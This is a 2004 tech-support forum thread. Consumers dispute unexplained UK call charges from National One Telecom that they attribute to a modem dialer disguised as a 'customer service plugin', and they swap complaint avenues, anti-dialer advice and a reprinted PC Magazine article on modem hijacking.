Hi Junior member of National One telecom
This message is especially for u
I have got the bill on May 25th, 2004. I don't know what kind of service u guuys doing? i am pretty upset when i have received the bill. I have never done anything like that, now i would have to pay ???????????????????? it is so rediculous. i think i should contact the FTC about this problem. iin the bill, National One threatening me that if i don't pay for that by 6/16/04 then i would face the Collection Agency. If u are the manager, please give me the phone number where u can be reach, so we will talk about this problem. this is SUCKS.


----------



## vipamerica

I have just been billed 280.00 by this bunch of internet scam artists. I refuse to download any plug-in from their site and they do not answer the phone or return calls. I have NO long distance on my phone and also have 900 call block so this type of thief cannot access my computer, but they have found a way around it. Does anyone have any ideas on how to better get the word out on these crooks? The world needs to be aware of their illegal activities. I have kids and this is no different than a pedophile standing outside my house with a bag of candy. They tresspass on my computer, changing settings and leaving their stinking software in my files. They are the lowest form of life out there and have found a way to get away with it. I have filed a complaint with the FTC (ref# 4524256) and will do the same with the FCC, the National Fraud Hotline, Sprint, the Florida and New Hampshire Attorney Generals, my elected officials at the State and Federal levels, and the BBB of central Florida and New Hampshire. I suggest anyone who has been scammed by these punks do the same. I will spend 10 times the bill amount trying my best to expose these criminals for what they are. I HOPE to hear from their legal staff so I can let THEM know what low-lifes they are too.


----------



## vipamerica

NationalOne said:


> Hello,
> 
> I am the customer service manager at National One Telecom, Inc. Although there is no phone number on the bill, there is a website url where customers are supposed to gain access to our customer service system to have any billing questions answered.
> 
> If you prefer please post your invoice number here and I will have someone call you within 72 hours to answer all your questions and resolve any problems that you may have.


My invoice number is 229634. Lets see if you (or someone from your shady company) resolve this matter for me.


----------



## ~Candy~

Another happy customer 

Thanks for your input. Please post any and all follow up that you can.

NationalOne does appear to be on this site at the moment. You may get lucky 

http://forums.techguy.org/member.php?u=114086


----------



## Crispie0

I just got my phone bill with an add'l charge to the UK from USBI for none other than National One. My wife and I don't know anyone in the UK and didn't authorize this charge. 

How can you contact National One? I've tried calling the phone number above (866) 293-3814 but nobody is answering. I'm certainly not downloading the plug to view their website. What a screw job!

Help!!!


----------



## ~Candy~

They 'say' if you post your invoice number, they'll take care of you..........I haven't seen too many happy campers who've gone that route, but I guess it's worth a shot. They are asking us for fair and equal treatment here, it seems to me that they should make some consorted effort to resolve people's problems AND state here that they have.

He/She is still showing as online here, using private messaging. Perhaps they are trying to reach someone to assist.

Edit, it appeared I was going to receive a PM from them, guess they changed their mind


----------



## ~Candy~

http://badbusinessbureau.com/result...mit2=Search!&q4=&q6=&q3=&q2=&q7=&searchtype=0

Looks like that list is getting longer too


----------



## vipamerica

vipamerica said:


> I have just been billed 280.00 by this bunch of internet scam artists. I refuse to download any plug-in from their site and they do not answer the phone or return calls. I have NO long distance on my phone and also have 900 call block so this type of thief cannot access my computer, but they have found a way around it. Does anyone have any ideas on how to better get the word out on these crooks? The world needs to be aware of their illegal activities. I have kids and this is no different than a pedophile standing outside my house with a bag of candy. They tresspass on my computer, changing settings and leaving their stinking software in my files. They are the lowest form of life out there and have found a way to get away with it. I have filed a complaint with the FTC (ref# 4524256) and will do the same with the FCC, the National Fraud Hotline, Sprint, the Florida and New Hampshire Attorney Generals, my elected officials at the State and Federal levels, and the BBB of central Florida and New Hampshire. I suggest anyone who has been scammed by these punks do the same. I will spend 10 times the bill amount trying my best to expose these criminals for what they are. I HOPE to hear from their legal staff so I can let THEM know what low-lifes they are too.


Ok, here is what has happened so far. I called Teliss (1-888-474-8724) and they were very helpful. They claim to be crediting all (long distance) charges, blocking my number from their system, and notifying National One Telecom of the problem. I also called National One Telecom and left several very ugly messages (1-866-293-3814 - the only way to reach them via phone). I regret using profanity in my messages to them, but do not apologize for it. They just called back and said they were going to refer my messages to the FCC, but were also going to credit all charges and block my number from their system. We'll see. DO NOT BE TAKEN BY THESE PUNKS; FIGHT THEM ANY WAY YOU CAN.


----------



## ~Candy~

Oh, that's interesting, reporting a customer to the FCC 

http://www.fcc.gov/cgb/complaints.html#whatweneed

Wonder which category that fits under?


----------



## proudaunt

Yeah, sure sounds like a legit business to me. NOT!


----------



## cmp034

I just opened my phone bill to these same false charges. I called USBI/Telliss and they said to go to the website others have referred to (the one that requires you to download a plug), they also gave me an address to mail my dispute to. I don't like this runaround. What should I do to get rid of these charges? Can someone please advise?


----------



## ~Candy~

Try what was posted in post #59:

Ok, here is what has happened so far. I called Teliss (1-888-474-8724) and they were very helpful. They claim to be crediting all (long distance) charges, blocking my number from their system, and notifying National One Telecom of the problem. I also called National One Telecom and left several very ugly messages (1-866-293-3814 - the only way to reach them via phone). I regret using profanity in my messages to them, but do not apologize for it. They just called back and said they were going to refer my messages to the FCC, but were also going to credit all charges and block my number from their system. We'll see. DO NOT BE TAKEN BY THESE PUNKS; FIGHT THEM ANY WAY YOU CAN.


----------



## cmp034

Thanks AcaCandy. I have called both of these numbers earlier... and they are one and the same by the way. They DID NOT agree to remove the charges when I requested that they do so. They only said that I could mail in my "dispute." I will mail them something, but in the meantime this is certainly unfair and frustrating. I hate it that these scam companies can manipulate people in this way!


----------



## ~Candy~

Call your carrier too.


----------



## shadow2

This is for the national one telecom representative who follows this forum. My invoice number 214167. I have been billed for 3 calls to the UK, none of which i have made. I was billed separately by your institute and the 3rd party calling service of my phone company.

this call must have been place and "ok'd" from a virus drive-by dialer on by computer.

i have written to you company denying these charges. I have yet to receive a reply, in fact i simply got a new bill for more money and a veiled threat to affect my credit rating.

please cancel this invoice, stop billing me, and cancel the charges.

thank you.

if any one else, has figured out a way to revoke these charges, please let me know. OF the two 3rd party caller payors that bill thru USBI which in turn billed by SBC account, OneCall has revoked the charge. Telesys has been more stubborn.

In fact the telesys rep gave me his "personal" guarantee that downloading the nationalone.com plug-in was "100%" safe. Something i refuse to do.


----------



## ~Candy~

You might think about having your phone provider put an international call block on the phone line connected to your computer.


----------



## danielcrew

haihoanp said:


> Hi Junior member of National One telecom
> This message is especially for u
> I have got the bill on May 25th, 2004. I don't know what kind of service u guuys doing? i am pretty upset when i have received the bill. I have never done anything like that, now i would have to pay ???????????????????? it is so rediculous. i think i should contact the FTC about this problem. iin the bill, National One threatening me that if i don't pay for that by 6/16/04 then i would face the Collection Agency. If u are the manager, please give me the phone number where u can be reach, so we will talk about this problem. this is SUCKS.


This worked like a charm for me. When you call 877 770-2022 you will reach Telliss. They are the ones that charged you (as well as NationalOne). There's a girl that answers the phone that will tell you to go to their website. Tell them you already did and received a reply from "George". (See, we ALL get a preprogrammed, all-purpose email from "George".) Let them know you will be contacting your attorney general's office to file a complaint. (As I work for my state's attorney general's office, this is a very effective way of shutting down slimy companies such as Telliss and NationalOne. We take these types of consistant complaints very seriously.) Let them know you expect all charges to be reversed immediately. If they insist on your payment, REFUSE! When I contacted that phone number, I let them know where I worked and that I expected these charges to be reversed immediately. I gave her my work number and within 5 minutes, she called and said the matter was taken care of and all charges were reversed. Wow, now that's customer service!


----------



## ~Candy~

Maybe it's time we sicked Spitzer on them 

http://www.oag.state.ny.us/

Take the heat off Dick Grasso for awhile


----------



## fuzion

I work for an ISP and one of my customers just called and asked me about this bill.. she is getting late notices about it now; I searched Google and found an 888 number for her (found forum this after we were off the phone; it has a different number I which I will give to her if she calls back).

I'm just wondering why national one thinks they can sue? There is this one thing.. umm.. sheesh, what's it called? Freedom of speech or something? Where we can voice our opinions, even if it does let everyone know what a rip off this place is?

I went to their site.. and got 10+ prompts to download their "CUSTOMER SERVICE PLUGIN"

Does this LOOK like a customer service plugin, or their dialer?

Looks to me like Nationalone paid for this pre-made software; also further down in the code you will see:

The customer service plugin needs to be installed in order to provide the
the best possible customer service. Just press YES in the dialog box 
when it appears.

*This software install is safe and certified by Microsoft 
Authenticode. *

I've never heard of Microsoft Authenticode (i'm newb I guess), and I wasn't aware they were into the verification of dialers!

There is nothing legitimate about what they do.


----------



## ~Candy~

Welcome Fuzion. Thanks for the input.


----------



## fuzion

Yar.. I stand corrected, there is MS Authenticode.. but it pretty much means that it has been verified to do what it says it will do and nothing malicious (to the system..?)


----------



## Revenger

I don't know....looks like a dialer to me. So let me get this straight National One Telecom guy, first you send people fraudulant phone charges, then direct them to the website, where you require people to download a Dialer program(masquerading as a harmless plug-in).

How much more shady can you guys get? I still don't see anything about your company at the BBB website. I see your website was copyrighted 2004, so it appears you guys just started up...what would you say is the lifespan of National One Telecom? Once NOT takes too much heat, and gets pressure from the government(note how the mere threat of the FTC and BBB garners most people a refund), is it then time to create a new telecom website and company? What was your company before it was National One Telecom?

You see folks...its the same thing as changing your username on the internet forums. I can come back here as some totally different name then revenger, and nobody would have a clue it was the same person. National One will probably drop off the map soon, and a new company will be formed, and the cycle will repeat itself. I hope the FTC nails your *** to the wall. I filed my complaint, and hope everyone did the same.


----------



## bleepster

new to the board - saw this interesting thread. leads me to ask a few questions.

1. I received a bill from a place called "telecom usa" for like $5 for "connection" charges. I think the baby sitter used this feature to make long distance phone calls as we dont have long distance on out phones. is telecom USA different from this national one??

2. Like i said - we dont have long distance on our phone at home, we have free long distance with ourcell phones. Do i need to worry about getting nailed from these people??

3. I use ADAWARE weekly and update weekly - if i get nailed does adaware remove it?

Thnaks for any info - and this site rocks


----------



## ~Candy~

http://1010phonerates.com/1010987-over-billing-problems.html

http://cageyconsumer.com/rateplan/conttusa.html

Some googles


----------



## bleepster

also - this only happening in the Dallas area???

Thanks for the links. I feel my bill was justified, like i said - it was on the dates the baby sitter was over, and she tried calling her sister long distance - and we were charges 99 cents each time (5 times)

I'll keep my eyes open tho from now on


----------



## ~Candy~

No, I don't think it's restricted to any area, unfortunatley


----------



## wallman1958

Hello,

We just got our bill from this company and I know for a fact that I didn't call the United Kingdom. I tried calling their phone number that I got off of this forum but with no effect. It doesn't even give the name of the corporation. I noticed that there is a representative supposedly on this board that checks it from now and then. I want this error corrected. My invoice number is 231904. I noticed on the BBB board in Dallas that they do fix these errors....and I am hoping that they will do it here. I just hope that I will not have to get some official sources involved in this and we can fix this without going to that extent.

Thanks,

Wallman


----------



## ~Candy~

Hi wallman1958, welcome to TSG. Sorry you had to find us under such circumstances.


----------



## Robert Green

National One Telecom is 100% criminal Fraud. I have reported them to the mail fraud division of the U.S Post Office. Search the name in www.badbusinessbureau.com, there are 40 recent complaints. Bob Greene, South Carolina


----------



## Robert Green

National One Telecom is 100% elaborate criminal fraud. They are not going to report you to anyone. You could threaten to kill them and they wouldn't report it because they are an organized crimimal operation. They claim to be a billing company but they can't tell you exactly who they are billing for? They are preying on peoples' fear and ignorance of the internet and technology. The Better business bureau is inept at dealing with this type of fraud. All the "company" has to do is back off the charges of the people who complain, meanwhile they can count on a certain percentage of the population paying their phony bills. Bob Greene, South Carolina


----------



## angel

Did you see read some of those rip-off reports? There are an awful lot of people going back and saying that NationalOne called and refunded their money within hours of posting their compaint. One individual actually stated that NationalOne "asked" them to post back to rip-off report that they had their money refunded. I wonder if they are still using their scare tactics in those cases: like "If you go back and tell everyone that we refunded your money and that it was an honest mistake, we'll refund your money." Wouldn't surprise me!


----------



## Robert Green

You are a criminal. Your "company" is a criminal operation. Do you know that? I have reported your company to the mail fraud division of the US Post office with detailed evidence of your scam. Your company tried to bill my parents with this phony scam. Your email said ticket 4400. If you would like my phone number, answer this email. Bob Greene


----------



## angel

Whoa, Robert! 
I don't know if the National One rep has been around lately but it seems people were getting results after posting on the badbusinessbureau (ripoffreport) site. 
Also, who knows what kind of psychos there are wandering around here.. you might want to remove your phone number.


----------



## angel

oops, I see you already did!


----------



## NationalOne

This shall be my last public statement on this board, however I will continue to be monitor it for complaints. All legitimate complaints will be dealt with in a timely fashion.

Please take a look at the following statements made by the owner of the badbusinessbureau.com in regards to Alyon Technologies. Alyon had over 1300 complaints on badbusinessbureau.com but in the end the owner of the site admitted that Alyon was right all along and that many consumers made bogus complaints due to the nature of the sites billed.

http://www.ripoffreport.com/reports/ripoff91863.htm

You may draw your own conclusions from the above url.

While there are key differences between us and Alyon, mainly the fact that we have several LEC billing agreements, the similarities between our businesses are large enough for a valid comparison.

It is important to keep in mind that we handle a large volume of calls and that the complaints you see are the minority of our customers. Like Alyon we will be making several changes to streamline the dispute process and and reduce the number of complaints going to the badbusinessbureau.com and this others like it.

Please keep in mind that companies like MCI have over 600 complaints on the badbusinessbureau.com. Does this make them a "scam company" or a product of their large volume of business and possibly a customer service crew that is stretched to their limits?

There has been a lot of misinformation on this thread, especially by one poster who said that there is no corporate record of our business on experian. This is not true..

Please go to the following url:

http://www.experian.com/product/pubrec/corpdetails.html

Type in "National One Telecom, Inc." and select New Hampshire as a state. It will cost $12 to obtain the record from experian, but it is indeed there.

Okay that is all I had to say. I won't be making any more posts here so don't bother asking any questions directed to me.


----------



## ~Candy~

As they 'slink' away into the sunset.

How about YOU guys paying $12 for YOUR record to set the record straight, and posting it here 

Obviously a Google search for NATIONAL ONE TELCOM hits here first..............

Oops, I take that back, there's two RIP OFF reports ahead of Tech Support Guy forums..........what does that tell you?

http://www.ripoffreport.com/reports/ripoff92324.htm
http://www.ripoffreport.com/reports/ripoff93348.htm
http://badbusinessbureau.com/reports/ripoff93074.htm

http://www.google.com/search?hl=en&ie=UTF-8&q=national+one+telecom

It would appear that after scare tactics fail, refunds are issued


----------



## angel

The kicker here is that it doesn't really matter how many negative reports there are out there on this company. It's not like the consumers that are getting screwed have the option to research the company before doing business with them.


----------



## ~Candy~

Exactly angel, and further more, pulling a corporate record from Experian doesn't mean anything either. That's a credit reporting agency. At best it will show they pay their bills 


Cut and paste from Experian:

Experian's corporate records database provides registration information about a business. Data, collected from the Secretary of State, includes: 

Date of incorporation 
Status 
Type 
Registered agent 
Fees 
Officers or directors 
Stock information


----------



## ~Candy~

NationalOne said:


> many consumers made bogus complaints due to the nature of the sites billed.


I would tend to think so, when a dialer is installed without most people knowing...........  and the answer they get when calling, is: "didn't you hear your modem dialing out?"

Man...oh man, oh man............


----------



## Robert Green

The Latest Net ScamModem Hijacking 
By Cade Metz 
May 28, 2003
Last Updated: June 2, 2003

Total posts: 33

PCs the world over are being hit by a new breed of software known as a dialer. These programs are far more malicious than spyware, which merely keeps a record of your online behavior. Dialers use your modem surreptitiously to dial long distance telephone numbers, running up enormous charges on your phone bill. Some operate while you're surfing the Web, dropping your dial-up connection and reconnecting you through a new number. Others operate when you're away from your machine, dialing numbers after the system sits idle for long periods of time.

This sort of scamknown as modem hijacking, dialer hijacking, or Internet dumpinghas become alarmingly prevalent over the past few months. At Badbusinessbureau.com, nearly 1,200 people have complained about a modem hijacking scam run by a New Jersey company known as Alyon Technologies. "On May 16th, 2003, I received a bill from Alyon Technologies for services rendered in the amount of $454.57 for the use of a phone number 6 times in one day," reads one complaint from Bevington, Iowa.

Spyware: It's Lurking on Your Machine

The Federal Trade Commission (FTC) and 20 different state attorneys general are currently investigating the company, but with many similar scam artists operating overseas, you have to provide your own protection.

Protecting Yourself

Typically, dialers are loaded onto systems via an ActiveX script. At the very least, you should make sure your Internet browser is set to reject Active X code or warn you when such code attempts to run. If you're unsure whether your browser is protected, SpywareInfo.com provides a dialer test that can tell you whether your browser is vulnerable.

If you want a greater degree of protection, an Australian company called StopItNow! is selling software that specifically prevents malicious dialers from hijacking your modem. Available for $24.95, the application monitors Windows Dial-Up Networking, ensuring that it dials no unapproved numbers.

If a modem hijacker gets to your machine before you can set up the proper protection, and unapproved charges wind up on your phone bill, the best way to fight the charges is through the FTC or your state utility commission. "The least useful thing you can do is complain to the phone company," says Russ Blau, a partner with the national law firm Swidler Berlin Shereff Friedman and part of its telecommunications, Internet, and new technologies practice. "They're just going to try to collect the charges."

dhs13: I know of someone who didn't look at the defaults of Juno thus he got a $2,000.00 phone bill.

view full post >

Any complaint you file with the FTC or a state utility commission, says Blau, will be forwarded to your phone company. "In virtually every case, the phone company cannot take collection action against you or cut off your service if you have an FTC complaint pending." And, hopefully, the FTC will go after those perpetrating the scam and the phone companies will quit billing charges from the numbers in question.



bleepster said:


> also - this only happening in the Dallas area???
> 
> Thanks for the links. I feel my bill was justified, like i said - it was on the dates the baby sitter was over, and she tried calling her sister long distance - and we were charges 99 cents each time (5 times)
> 
> I'll keep my eyes open tho from now on


----------



## Robert Green

The Latest Net ScamModem Hijacking 
By Cade Metz 
May 28, 2003
Last Updated: June 2, 2003 

Total posts: 33

Article from PC Magazine

Our feature on the world of spyware didn't scare you? This will. PCs the world over are being hit by a new breed of software known as a dialer. These programs are far more malicious than spyware, which merely keeps a record of your online behavior. Dialers use your modem surreptitiously to dial long distance telephone numbers, running up enormous charges on your phone bill. Some operate while you're surfing the Web, dropping your dial-up connection and reconnecting you through a new number. Others operate when you're away from your machine, dialing numbers after the system sits idle for long periods of time.

This sort of scamknown as modem hijacking, dialer hijacking, or Internet dumpinghas become alarmingly prevalent over the past few months. At Badbusinessbureau.com, nearly 1,200 people have complained about a modem hijacking scam run by a New Jersey company known as Alyon Technologies. "On May 16th, 2003, I received a bill from Alyon Technologies for services rendered in the amount of $454.57 for the use of a phone number 6 times in one day," reads one complaint from Bevington, Iowa.





Spyware: It's Lurking on Your Machine 




The Federal Trade Commission (FTC) and 20 different state attorneys general are currently investigating the company, but with many similar scam artists operating overseas, you have to provide your own protection.

Protecting Yourself

Typically, dialers are loaded onto systems via an ActiveX script. At the very least, you should make sure your Internet browser is set to reject Active X code or warn you when such code attempts to run. If you're unsure whether your browser is protected, SpywareInfo.com provides a dialer test that can tell you whether your browser is vulnerable.

If you want a greater degree of protection, an Australian company called StopItNow! is selling software that specifically prevents malicious dialers from hijacking your modem. Available for $24.95, the application monitors Windows Dial-Up Networking, ensuring that it dials no unapproved numbers.

If a modem hijacker gets to your machine before you can set up the proper protection, and unapproved charges wind up on your phone bill, the best way to fight the charges is through the FTC or your state utility commission. "The least useful thing you can do is complain to the phone company," says Russ Blau, a partner with the national law firm Swidler Berlin Shereff Friedman and part of its telecommunications, Internet, and new technologies practice. "They're just going to try to collect the charges."





dhs13: I know of someone who didn't look at the defaults of Juno thus he got a $2,000.00 phone bill. 

view full post > 




Any complaint you file with the FTC or a state utility commission, says Blau, will be forwarded to your phone company. "In virtually every case, the phone company cannot take collection action against you or cut off your service if you have an FTC complaint pending." And, hopefully, the FTC will go after those perpetrating the scam and the phone companies will quit billing charges from the numbers in question.


----------



## Robert Green

The Latest Net ScamModem Hijacking 
By Cade Metz 
May 28, 2003
Last Updated: June 2, 2003 

Total posts: 33

Our feature on the world of spyware didn't scare you? This will. PCs the world over are being hit by a new breed of software known as a dialer. These programs are far more malicious than spyware, which merely keeps a record of your online behavior. Dialers use your modem surreptitiously to dial long distance telephone numbers, running up enormous charges on your phone bill. Some operate while you're surfing the Web, dropping your dial-up connection and reconnecting you through a new number. Others operate when you're away from your machine, dialing numbers after the system sits idle for long periods of time.

This sort of scamknown as modem hijacking, dialer hijacking, or Internet dumpinghas become alarmingly prevalent over the past few months. At Badbusinessbureau.com, nearly 1,200 people have complained about a modem hijacking scam run by a New Jersey company known as Alyon Technologies. "On May 16th, 2003, I received a bill from Alyon Technologies for services rendered in the amount of $454.57 for the use of a phone number 6 times in one day," reads one complaint from Bevington, Iowa.





Spyware: It's Lurking on Your Machine 




The Federal Trade Commission (FTC) and 20 different state attorneys general are currently investigating the company, but with many similar scam artists operating overseas, you have to provide your own protection.

Protecting Yourself

Typically, dialers are loaded onto systems via an ActiveX script. At the very least, you should make sure your Internet browser is set to reject Active X code or warn you when such code attempts to run. If you're unsure whether your browser is protected, SpywareInfo.com provides a dialer test that can tell you whether your browser is vulnerable.

If you want a greater degree of protection, an Australian company called StopItNow! is selling software that specifically prevents malicious dialers from hijacking your modem. Available for $24.95, the application monitors Windows Dial-Up Networking, ensuring that it dials no unapproved numbers.

If a modem hijacker gets to your machine before you can set up the proper protection, and unapproved charges wind up on your phone bill, the best way to fight the charges is through the FTC or your state utility commission. "The least useful thing you can do is complain to the phone company," says Russ Blau, a partner with the national law firm Swidler Berlin Shereff Friedman and part of its telecommunications, Internet, and new technologies practice. "They're just going to try to collect the charges."





dhs13: I know of someone who didn't look at the defaults of Juno thus he got a $2,000.00 phone bill. 

view full post > 




Any complaint you file with the FTC or a state utility commission, says Blau, will be forwarded to your phone company. "In virtually every case, the phone company cannot take collection action against you or cut off your service if you have an FTC complaint pending." And, hopefully, the FTC will go after those perpetrating the scam and the phone companies will quit billing charges from the numbers in question.


----------



## Robert Green

Go to the Federal Trade Commission website and search under "modem hijacking"

Here is a clipping:

Traditional Law Enforcement Applied Online

To combat fraud and deception online, the Commission has brought more than 100 Internet-related law enforcement actions against nearly 300 businesses and individuals on behalf of millions of online consumers. Cases have targeted technology-based scams such as modem hijacking, spam, and Web cramming, as well as traditional scams that have moved online, such as pyramid schemes, credit scams and bogus health claims.

"Scams involving hijacking modems and Web sites, which are unique to the Internet, exploit its special features to trick consumers," the report notes. In FTC v. Carlos Pereira, for example, defendants in Portugal and Australia "captured" unauthorized copies of U.S.-based Web sites and produced look-alike versions that were indexed by major search engines. In FTC v. Audiotex Connections and Beylen Telecom, defendants used software on their sites that silently hijacked consumers' modems as they downloaded information from the sites.



cmp034 said:


> I just opened my phone bill to these same false charges. I called USBI/Telliss and they said to go to the website others have referred to (the one that requires you to download a plug), they also gave me an address to mail my dispute to. I don't like this runaround. What should I do to get rid of these charges? Can someone please advise?


----------



## MrMike52

As far as I'm concerned it's a SCAM. I got a phone bill with two calls on it made to the U.K. After calling Verizon I learned the charges came from a web page visited on my computer. I questioned this because no one visited any web pages as such on this computer. I believe national one installed a "dialer" in the background on my computer while someone was surfing on the net. They may have went to a selected page and the dialer installed then while doing something else the dialer was calling the U.K. number in the background and adding on the charges to my phone bill. I called National One Tellicom and got an answering machine. No one called back. I went to their web page with no luck. After the second call to verizon they took the charges off my bill and blocked the number from being called again from here. Last but not least I filled a complaint with the better business bureau in Texas where national one says their office is at. It's a perfect example of "modem hijacking".


----------



## rcrx

On Father's Day, my father-in-law showed me his bill for $168.00 from National One Telecom for supposed LD calls to UK. I Googled and found this great forum. About a week ago he asked me come over to "make this junk stop popping up" on his machine. I fiddled around and I think I got rid of it. However, he brought me this bill, which is undoubtedly related to the trojan-like dialer. I don't doubt that the "junk" that was "popping up" was from this-- if indeed the calls were even ever made (from the sound of some of these posts, I wonder) He is in his eighties and not in the least bit inclined to view pornographic material!

I went to that #!%##!## website and installed that @#^$#@ plug-in and requested credit, but I want to have record on this forum that yet another occurrence exists. If that National One guy is still monitoring, hopefully he will make good and fix it. I will wait 72 hrs for resolution before contacting all of the aforementioned avenues or recourse.

I hope to be able to post that the problem was actually resolved, but if not-- disputing this is worth 100's of times more than any costs. They will get ZERO from him!!! I can't believe this hasn't shown up on the news yet!

*Invoice number 231389*


----------



## MN_N8VTech

Wow this thread just captured my attention for about an hour. Ive been a victim of everything from cell phone problems to LD slamming,and the most recent was a situation with A large wireless company(Ill save the details,I was credited)  Kudos to techguy and everyone who has posted here,and sympathy for the victims.
One thing that has really surprised me though,and which is why I read all the way to the last page was why none of the more senior members have explained much about the dialers and what to do about them. I work on computers and had to learn the hard way, but in my experience a dialer is so extremely maliscious that Adaware doesnt detect it usually because its much more powering than just spyware. On the other hand, I use AVG anti-virus and have many dialers over the years and AVG always alerts on them as a virus. Thats my 2 cents worth, just thought I'd point that out. Good Luck Mike,I'm sure there will be no further correspondence from them legally.
www.grisoft.com (AVG free anti-virus) Another good one is Panda softwares free online scan,there is a dowload for the scan tool,but Ive had good results with it,I even sell their software. www.pandasoftware.com


----------



## ~Candy~

A dialer program will be identified (usually) by running Hijack This, a free program that can be downloaded from here.

http://www.spywareinfo.com/~merijn/downloads.html

They can then post a new question in our security forums for further assistance in getting rid of it.


----------



## fuzion

National one = fraud / scam..

What kind of site makes you install a dialer before you can use talk to their customer service?? It's on a website.. which means internet... obviously if you can get to their site there is no need to install a dialer from them

It's total bs.. there is no way this is legitimate.

"Please install our customer service plugin"

plugin? more like dialer..


----------



## SirDrake40

*Invoice # 235667*

I have only skimmed this forum, so please disregard if this information has already been given.

Take a look at this site: http://www.bbbnh.org/commonreport.html?compid=92005198

Key phrases to watch for:

"when a customer ... agrees to the terms and conditions"
"they do not handle disputes over the phone"
"will ignore disputes left on their voice mail"
"plans to set up a customer service line in the near future" [BBB file opened on 5/4]

I have been hit with the infamous UK call, and, to be honest, am not convinced that National One Telecom is 100% responsible, though they certainly have one of the crappiest customer service policies I have EVER heard of. Now if I ever find concrete evidence that these guys have any connection whatsoever to whomever is installing that piece of crap dialer on my PC, then I will have a lawsuit pending in a manner of days! There was a definite loss of money (well over the $$$ charged for the phone call) involved when it took me over two days to clean up the mess. A bunch of other stuff hit my PC at the exact same time as this dialer.

My big question is "Why are there two companies out their with extremely similar names if it ISN'T a scam?" We have National One Telecom and National One Telecom .Inc based in entirely different cities. And it seems like the one based in New Hampshire is using a Dallas P.O. box for collection. Another curiosity, the BBB record for the National One Telecom (w/o the .Inc) has the PO Box for the .Inc company listed, so they must be affiliated in some manner.

*Invoice # 235667* I do believe that my post here should take care of it. Please send me an invoice immediately upon crediting my account. Failure to comply will result in BBB and FTC complaints. And things can easily escalate from there.


----------



## rosereay

I don't know how you some of you guys got refunds. I tried and all I got was alot of grief from the National One Telecom customer service online rep. Alex. we went back and forth via emails back in January. I reported National One Telecom to the BBB and FCC. This week I recieved 3 letters from "Collection Express, Inc." a collection agency in Barre, VT for payment for National One Telecom. My story is the same as everyone else's noone was on line at the time of the bill, searched the internet for a phone number for National One, no luck with anything.


----------



## rosereay

SirDrake40
watch your computer. I had my dialer (which I dont know how it got on in the first place) dismantled and within days it was back. I had it taken off again and it has not been back. Just be careful and check it often.


----------



## MrMike52

rosereay,
I had no luck with national one concerning the U.K. phone charges. My phone service Verizon gave me what they called a one time credit and removed the long distance calls to the U.K. charges. It was the lady I spoke with at Verizon that told me the charges we're applied by a third party through the Internet. National One Tellicom. Try talking to your phone service and explain all the complaints you've read and hopefully they'll remove the charges.


----------



## MrMike52

I've posted here on this issue before and recieved a private message from national one concerning my post. I don't mind making their reply public and let you readers decide. I'm finished on this issue and I'll let the BBB handle it. Be forwarned before going to the link he provided and what downloads automatically. Here's his private reply to my post:

Hello,

I am the customer service manager of National One Telecom, Inc. The reason why no one responded to your telephone call is because federal law requires that all disputes be done in a written format, either email or postal mail.

As for not being able to access our site, I seem to have no problems being able to access it.

As for your "modem hijacking" comment, below is one of the clients we do billing for. Can you explain how this is "modem hijacking"? The price for the call is CLEARLY shown on the dialer.

http://www.goinnow.com/?a=108223&t=sk007

Maybe you instead of blaming others, you should blame yourself for making the call.


----------



## Maggz

What kind of Customer rep tells you to blame yourself thats just rude and irresponsible.


----------



## ~Candy~

MrMike52 said:


> federal law requires that all disputes be done in a written format, either email or postal mail.


Federal law?

I may be wrong, but I believe that only applies on open end credit accounts. Also, if they want to attempt to use federal law, I believe they can make you only responsible for up to $50, not to mention charges that you didn't agree to.

http://www.ftc.gov/bcp/conline/pubs/credit/fcb.htm


----------



## rosereay

Thanks MrMike52. My local phone service (SBC Ameritech) has already credited my phone bill the amount that appeared on that bill. But I recieved two bills for the same call (same number, same time) one from SBC, which was credited and one from National One Telecom which has now gone to a credit service.
I think that is funny how the National One rep blames everyone else. Alex the rep who handled my complaint did the same thing. He tried to blame my children, all who are under 5 and my husband claiming he must be looking at porn and too embarrassed to admit it. But according to AOL records noone was even logged anywhere near the said time of the phone call.


----------



## rcrx

rcrx said:


> On Father's Day, my father-in-law showed me his bill for $168.00 from National One Telecom for supposed LD calls to UK. I Googled and found this great forum. About a week ago he asked me come over to "make this junk stop popping up" on his machine. I fiddled around and I think I got rid of it. However, he brought me this bill, which is undoubtedly related to the trojan-like dialer. I don't doubt that the "junk" that was "popping up" was from this-- if indeed the calls were even ever made (from the sound of some of these posts, I wonder) He is in his eighties and not in the least bit inclined to view pornographic material!
> 
> I went to that #!%##!## website and installed that @#^$#@ plug-in and requested credit, but I want to have record on this forum that yet another occurrence exists. If that National One guy is still monitoring, hopefully he will make good and fix it. I will wait 72 hrs for resolution before contacting all of the aforementioned avenues or recourse.
> 
> I hope to be able to post that the problem was actually resolved, but if not-- disputing this is worth 100's of times more than any costs. They will get ZERO from him!!! I can't believe this hasn't shown up on the news yet!
> 
> *Invoice number 231389*


 Okay, it seems like the ride is over. My father-in-law just received a bill from USBI in addition to the National One bill. He called them and was told that the USBI and National One charges were cleared. I was previously unable to read my private messages from this board, but I was just able to view them. It shows that the National One rep is monitoring this thread. He sent me a private message the day I posted, and told me that I could ignore the charges-- he had just cleared them.
So, just post your problem with your invoice number, and I assume your charges will also be cleared.
BTW, I am not the least happy about this inconvenient and worrisome incident, but I should thank the National One rep monitoring this thread for fixing this so promptly. I just wish he hadn't used private messaging, because I didn't know the credit had been issued.


----------



## steffieweffi

Today, the same thing happened to my family. My father received a bill in the mail from National One and I tried to visit their website. Thankfully, We decided not to download the plug-in. Since there wasn't any info on their site for help, I decided to do a search and I found this wonderful forum. I searched my computer, and did not find any spyware, but I have not searched my father or brother's computer. I wanted to thank everybody for the info provided. I will be filing a complaint with the FTC and whatever else was listed here. Does anybody know a good program to stop something like this from happening again?


----------



## ~Candy~

Hi steffie, welcome to TSG. I would suggest posting a question in our security forums with a copy of a Hijack This log for each computer. Make separate threads and mention that they are different computers so a moderator won't think you are duplicate or triplicate posting.


----------



## QLeaping

I discovered this site after I too received a bill. All the stories are too similar.
